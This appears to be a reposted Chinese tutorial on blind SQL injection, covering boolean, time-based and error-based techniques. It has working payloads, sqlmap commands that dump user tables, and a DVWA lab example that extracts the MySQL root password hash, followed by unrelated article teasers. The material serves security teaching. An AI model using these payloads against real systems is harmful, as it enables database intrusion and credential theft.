sql注入之盲注总结

news2025/1/23 9:13:52

死在山野的风里,活在自由的梦里

sql注入之盲注总结

    • 布尔 - 逻辑判断
    • 时间 - 延时判断
    • 报错 - 报错回显(强制性报错 )
      • 以DWVA靶场为例

盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:

布尔 - 逻辑判断

用于页面中不会显示数据库信息,只显示对与错的内容

比如输入“1”,提示“存在用户”,不能使用联合注入,要用burp的重放器

1.获取数据库名

id=1'and if(length(database())>1,1,0)--+

把database())>1改成database())>4,发现返回错误,就可以确定数据库名字长度为4

id=1'and if(substring(database(),1,1)='a',1,0)--+

database(),1,1)=‘a’,1,0) 改成 database(),&1&,1)=‘&a&’,1,0) 得到库名

2.获取表名

id=1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)1,1)='a',1,0--+

limit 1)1,1)=‘a’,1,0–+ 改成 limit 1)&1&,1)=‘&a&’,1,0–+ 得到第一个表

limit 1)&1&,1)=‘&a&’,1,0–+ 改成 limit 1,1)&1&,1)=‘&a&’,1,0–+ 得到第二个表

3.获取表的内容

id=1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1)1,1)='a',1,0--+

limit 0,1)1,1)=‘a’,1,0–+ 改成 limit 0,1)&1&,1)=‘&a&’,1,0–+ 得到第一个列

limit 0,1)&1&,1)=‘&a&’,1,0–+ 改成 limit 1,1)&1&,1)=‘&a&’,1,0–+ 得到第二个列

4.获取账号密码

id=1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 0,1)1,1)='a',1,0--+

limit 0,1)1,1)=‘a’,1,0 改成 limit 0,1)&1&,1)=‘&a&’,1,0 得到账号密码

时间 - 延时判断

用Windows OS' and 1=1#     Windows OS' and 1=2#     页面都正常
用  Windows OS' and sleep(2)#                   页面延迟2s返回 

注入时,需要用命令,不要用软件,软件太慢

test.txt是在注入登录成功的同时用burp得到的数据包

//查数据库名
sqlmap -r test.txt --current -db   

在这里插入图片描述

//查数据库clover里面的表
sqlmap -r test.txt -D 'clover' -tables

在这里插入图片描述

//查数据库clover里面的表users的内容
sqlmap -r test.txt -D 'clover' -T 'users' -columns

在这里插入图片描述

//查看username和password的信息
sqlmap -r test.txt -D 'clover' -T 'users' -C 'username,password'dump

在这里插入图片描述

报错 - 报错回显(强制性报错 )

原理是利用两个函数,第二个参数如果不是xpath格式,是sql语句就会报错

updatexml():从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);
'or updatexml(1,concat(0x7e,database()),0)or'

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串,Xpath是一种查找语法)

extractvalue(XML_document,XPath_String)
' or extractvalue(1,concat(0x7e,database())) or'
' union select 1,extractvalue(1,concat(0x7e,(select version())))%23

以DWVA靶场为例

1.获取数据库名

id=1'and info()--+

页面显示“FUNCTION dvwa.info 不存在”,数据库名字是dvwa

2.查看当前用户

id=1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

页面显示“ XPATH 语法错误:‘root@localhost’ “,当前用户为root

3.获取当前账号的密码

id=1' and (authentication_string from mysql.user limit 1)--+
id=1' and (updatexml(1,concat(0x7e,(select(select authentication_string from mysql.user limit 1)),0x7e),1))--+

用authentication只能查前32个字母

页面显示 " XPATH 语法错误:‘~*6BB4837EB74329105EE4568DDA7DC6’ "

id=1'and (updatexml(1,concat(0x7e,(select(substring((select
authentication_string from mysql.user limit 1),32,40))),0x7e),1))--+

页面显示 " XPATH 语法错误:‘7ED2CA2AD9’ ",得到后半部分的密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1006614.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年武汉初级、中级、副高工程师职称评审条件是什么?甘建二告诉你

武汉中级职称评审通知已经出来了,武汉市中级、副高申报时间是8月31--9月18号,那么评这些职称需要满足什么条件呢?今天甘建二给大家分享一下评职称学历年限、专业等是怎么计算的,点赞收藏慢慢看。 一、武汉初级职称评审条件&#x…

【MySQL进阶】SQL性能分析

一、SQL性能分析 1.SQL执行频率 MySQL 客户端连接成功后,通过 show [session|global] status 命令可以提供服务器状态信 息。通过如下指令,可以查看当前数据库的 INSERT 、 UPDATE 、 DELETE 、 SELECT 的访问频次: -- session 是查看当…

jvm深入研究文档--整体概念

阿丹: 精通JVM对于一个java工程师非常重要,要是深入了解了jvm就可以有效的面对下面的问题 程序调优:JVM的配置和调优对于程序的运行有着至关重要的影响。不同的业务场景需要不同的JVM配置,比如设置不同的垃圾收集器、调整新生代和…

软考 - 计算机组成与体系笔记

数据的表示 进制转化 二进制转十进制(十进制以D表示) 从右往左,用二进制位上的数字乘以2的n次幂的和(n从0开始1累加) 十进制转二进制(二进制以B表示) 十进制数不断除以2直至到0,得…

电子智能充气泵pcba/芯片方案

智能充气泵是一种常见的气体压缩设备,它可以将空气或其他气体压缩成高压气体,用于充气、输送、压缩等工业和生活领域。智能充气泵的原理是利用机械或电动力量将气体压缩,使其体积减小,压力增大,从而达到充气的目的。电…

【echarts】如何将iconfont转换成echart所需的path路径 echarts折线图、柱状图如何设置自定义svg图标

步骤 下载iconfont图标到本地,用浏览器打开,右键查看源代码,或者用开发IDE软件打开,找到path d...,这个就是我们要传递给echart的icon的值。 代码示例: legend: {data: data?.map((item) > item.comp…

Fiddler抓http数据

目录 参考博客 一、Fiddler配置二、分析Http请求1. Http消息结构简介1.1 Request请求消息1.2 Response响应消息 2. 分析Get接口2.1 请求示例2.2 查看Get请求2.3 查看Get响应 3 分析Post接口 参考博客 一、Fiddler配置 首先需要对Fiddler抓取Https请求进行相关配置&#xff1a…

【九章斩题录】C/C++:判定字符是否唯一

精品题解 🔥 《九章斩题录》 👈 猛戳订阅 面试题 01.01. 判定字符是否唯一 ✅ 模板:C语言 class Solution { public:bool isUnique(string astr) {} }; 💭 思考:《程序员面试金典》里的题,这题和剑指Off…

typescript错误代码 error TS2451: 无法重新声明块范围变量“age”。ts(2451)

今天心血来潮写ts教程的时候发现一个问题,如下 短短的两行代码,竟然都报错,无法重新声明块范围变量age\。明明与其他文件没有相互依赖,却会提示 [ts] 无法重新声明块范围变量“age”。。且该文件目录夹下,也没有其他文件。为什么会有这个报错呢&#xff…

NZ系列工具NZ03:利用右键进行筛选操作

【分享成果,随喜正能量】生活就是这样,别人看的是结果,而自己撑的却是整个过程。曾经的微笑,是一种心情,现在的微笑,只不过是一种表情。如果情绪不能用言语说出来,那就去吹吹风吧。。 我的教程…

Python爬虫被封ip的解决方案

目录 一、网站反爬虫机制有哪些 二、Python爬虫被封ip的原因 三、爬虫被封IP怎么解决 四、代码示例 在爬虫程序运行过程中,被封禁IP地址是常见的问题之一。这通常是由于目标网站采取了反爬虫机制,例如限制单个IP地址的请求频率或识别请求特征等。当爬…

-60V -40V -100V 30A 50A 100A P管大电流 正极,负极做关断的电路图 解决方案N沟道,P沟道MOSFET开关电路图介绍

P沟道MOS管工作原理以及参数?中广芯源提供原理图纸,估计对需求者有帮助。 P沟道MOS管工作原理:金属氧化物半导体场效应(MOS)晶体管可分为N沟道与P沟道两大类, P沟道硅MOS场效应晶体管在N型启衡旅硅衬底悄凳上有两个P区&#xff0…

【80天学习完《深入理解计算机系统》】第十五天 4.1 Y86-64指令集与Verilog HDL

专注 效率 记忆 预习 笔记 复习 做题 欢迎观看我的博客,如有问题交流,欢迎评论区留言,一定尽快回复!(大家可以去看我的专栏,是所有文章的目录)   文章字体风格: 红色文字表示&#…

【GNN 03】PyG

工具包安装: 不要pip安装 https://github.com/pyg-team/pytorch_geometrichttps://github.com/pyg-team/pytorch_geometric import torch import networkx as nx import matplotlib.pyplot as pltdef visualize_graph(G, color):plt.figure(figsize(7, 7))plt.xtic…

10分钟学会Hive之用户自定义函数UTF开发

1. 用户自定义函数概述 用户自定义函数简称UDF,源自于英文user-defined function。自定义函数总共有3类,是根据函数输入输出的行数来区分的,分别是: UDF(User-Defined-Function)普通函数&#xff…

Excel 公式函数:学习基本示例

数据准备 对于本教程,我们将使用以下数据集。 家居用品预算 S / N项目数量价格小计价格适中吗?1芒果96002橘子312003番茄125004食用油565005汤力水133900 房屋建筑项目时间表 S/NITEM开始日期结束日期持续时间(天)1调查土地0…

C++项目实战——基于多设计模式下的同步异步日志系统-⑧-日志落地类设计

文章目录 专栏导读抽象基类StdoutSink类设计FileSink类设计RollBySizeSink类设计日志落地工厂类设计日志落地类整理日志落地拓展测试RollByTimeSink类设计测试代码测试完整代码 专栏导读 🌸作者简介:花想云 ,在读本科生一枚,C/C领…

React框架下如何集成H.265网页流媒体视频播放器EasyPlayer.js?

H5无插件流媒体播放器EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器,可支持多种流媒体协议播放,可支持H.264与H.265编码格式,性能稳定、播放流畅,能支持WebSocket-FLV、HTTP-FLV,HLS(m3u8&#…

Segment Anything Model(SAM)论文解读

一、引言 在这项工作中,作者的目标是建立一个图像分割的基础模型。也就是说,寻求开发一个提示模型,并使用一个能够实现强大泛化的任务在广泛的数据集上对其进行预训练。有了这个模型,使用即时工程解决新数据分布上的一系列下游分…

《C++ primer plus》精炼(OOP部分)——对象和类(3)

学习是人类的天性,持续学习是人类的本能。 文章目录 抽象数据类型(ADT)--------------------------第11章:使用类--------------------------运算符重载运算符重载限制 抽象数据类型(ADT) 类的思想很适合用…